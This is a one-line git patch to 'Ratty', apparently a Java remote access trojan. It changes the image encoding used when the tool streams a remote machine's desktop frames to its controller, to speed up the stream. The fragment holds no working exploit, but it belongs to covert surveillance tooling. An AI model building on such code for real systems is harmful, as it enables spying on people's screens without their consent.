From 1afd98eea96626bafdccb14dc998e5f36bbe2681 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Thu, 11 Feb 2016 13:48:20 +0100 Subject: [PATCH] Major changes Increased the speed of the desktop stream --- Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java b/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java index d8f9128..0fec0c4 100644 --- a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java @@ -41,7 +41,7 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket { @Override protected void sendData(final ActiveClient client) { Stream.of(frames).forEach(frame -> { - final byte[] data = ImageUtils.toByteArray(frame.image, "JPG"); + final byte[] data = ImageUtils.toByteArray(frame.image, 0); client.writeByte(INCOMING); client.writeShort((short)frame.x);